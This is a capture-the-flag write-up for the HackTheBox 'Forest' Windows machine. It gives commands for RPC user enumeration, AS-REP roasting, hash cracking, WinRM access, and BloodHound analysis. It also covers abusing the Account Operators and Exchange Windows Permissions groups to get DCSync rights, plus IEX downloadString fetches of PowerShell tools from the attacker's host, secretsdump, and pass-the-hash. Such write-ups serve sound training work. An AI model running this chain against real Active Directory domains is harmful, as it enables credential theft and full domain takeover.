> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/windows-easy/forest-hackthebox-writeup.md). # Forest HackTheBox Writeup Forest HackTheBox Easy Windows machine writeup covering AXFR - Domain Zone Transfer Attack (Failed), RPC Enumeration - Getting valid domain users, Performing an AS-RepRoast attack with the obtained us {% embed url="" %} {% hint style="warning" %} **Skills:** * AXFR - Domain Zone Transfer Attack (Failed) * RPC Enumeration - Getting valid domain users * Performing an AS-RepRoast attack with the obtained users * Cracking Hashes * Abusing WinRM - EvilWinRM * LDAP Enumeration - ldapdomaindump * BloodHound Enumeration * Gathering system information with SharpHound.ps1 - PuckieStyle * Representing and visualizing data in BloodHound * Finding an attack vector in BloodHound * Abusing Account Operators Group - Creating a new user * Abusing Account Operators Group - Assigning a group to the newly created user * Abusing WriteDacl in the domain - Granting DCSync Privileges * DCSync Exploitation - Secretsdump.py {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.

**VPN Connectivity Check** Check VPN connectivity to ensure stable communication with the target machine.

**Open Port Discovery with Nmap:** ```bash nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.161 -oG allPorts ```

**Analysis of open ports with extractport:**/ Using the extractport function to in a concise format display open ports and copy them to the clipboard.

**Port Version Scan with Nmap :**/ Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49671,49676,49677,49682,49705,49914 10.10.10.161 -oN targeted ```

## **List and operation:** ### **SMB Reconnaissance:** Using CrackMapExec to identify the operating system ```bash crackmapexec cmb 10.10.10.161 ```

To resolve domain names to IP addresses via DNS, the domain name associated with its IP address/ is inserted into the `/etc/hosts` file.

/*/Exploration of SMB shares on the network to identify shared resources but no results. //* ```bash crackmapexec smb 10.10.10.161 --shares ``` ```bash smbclient -L 10.10.10.161 -N ```

### **RPC Reconnaissance:** Use of rpcclient to interact with CPP services and collect resource information ```bash rpccclient -U "" 10.10.10.161 -N enumdomusers ```

#### List the groups: ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomgroups' ```

## ASREPRoast attack: #### With a list of valid users, we will conduct an AS-RepRoast attack as we do not need user passwords. We will use `grep` to filter user names, then insert these data into a file ```bash rpcclient -U "" 10.10.10.161 -N -c 'enumdomusers' | grep -oP '/[.*?/]' | grep -v 0x | tr -d '[]' > users ```

#### We use the GetNPUsers.py tool to extract user information without a password: ```bash GetNPUsers.py htb.local/ -no-pass -usersfile users ```

#### We retrieve the hash of the user's password "lucinda" and try to break it with John the Ripper using a predefined password list: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ```

#### We use CrackMapExec to check if the cracked password is correct by attempting a WinRM connection: ```bash crackmapexec winrm 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

#### Finally, we use Evil-WinRM to connect to the remote machine with cracked identification information: ```bash evil-winrm -i 10.10.10.161 -u 'svc-alfresco' -p 's3rvice' ```

## Privilege Escalation: ### Domain Enumeration with BloodHound

Installation Bloodhound:

``` apt install neo4j bloodhound neo4j console &> /dev/null & disown lsof -i:7474 ``` /*/Log in to Bloodhound with the names neo4j:neo4j. //* ![](https://hacking-notes-jordan.gitbook.io/~gitbook/image?url=https:%2F%2F3892280740-files.gitbook.io%2F%7E%2Ffiles%2Fv0%2Fb%2Fgitbook-x-prod.appspot.com%2Fo%2Fspaces%252FOeqybfPyWliD6m1hbKa3%252Fuploads%252F5FZcDczkNZW0GsV9GveF%252Fimage.png%3Falt=media%26token=5de0c395-08b3-4abc-b373-683dddae7528/\&width=300/\&dpr=4/\&quality=100/\&sign=24bf837c04919e72ec25399b5eb63e0e4c1ea9abe1362606119b2c5ac4d8fd74) **Launching BloodHound.** ```bash bloodhound &> /dev/null & disown ```

### Collect Information with SharpHound.ps1 {% embed url="" %} ### Transfer the collected data to a Linux server. ```bash python3 -m http.server 80 ``` ```bash IEX(New-object Net.WebClient).downloadString('http://10.10.14.8/SharpHound.ps1') ```

```bash Invoke-BloodHound -CollectionMethod All ```

#### We transfer the zip file to our team. ```bash download C:/Users/svc-alfresco/Desktop/bh/20240329121547_BloodHound.zip data.zip ```

/*/Import zip file in Bloodhound. //*

### BloodHound Analysis and Operations #### Filtering data to find the shortest path to the domain administrator.

#### Identification of membership in a potentially problematic group (Account Operator).

#### Using user creation capability to prepare a DCSync attack. ```bash net user jordanmacia password123$ /add /domain ```

### DCSync Attempt without Sufficient Rights ```bash impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

#### Added user to a group with higher permissions (`Exchange Windows Permissions`).

```bash net group "Exchange Windows Permissions" jordanmacia /add ```

### Attaque WriteDACL:

```bash $SecPassword = ConvertTo-SecureString 'password123$' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('htb.local/jordanmacia', $SecPassword) ``` Preparing WriteDACL attack using PowerView\.ps1 to add functionality. {% embed url="" %}

#### Transfer File ``` python3 -m http.server 80 ``` ```bash powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11/PowerView.ps1')" ``` ## DCSync Attack Vulnerability #### Run the Add-DomainObjectAcl command to get the hashes. ``` Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity jordanmacia -Rights DCSync ``` #### Using Impacket to extract hashes with the user jordanmacia. ``` impacket-secretsdump htb.local/jordanmacia@10.10.10.161 ```

### Pass-the-Hash Attack: Using the administrator's NT hash for Pass-the-Hash attack. ```bash evil-winrm -i 10.10.10.161 -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6' ``` #### Access to the system with administrator rights.

### Final Flag :)

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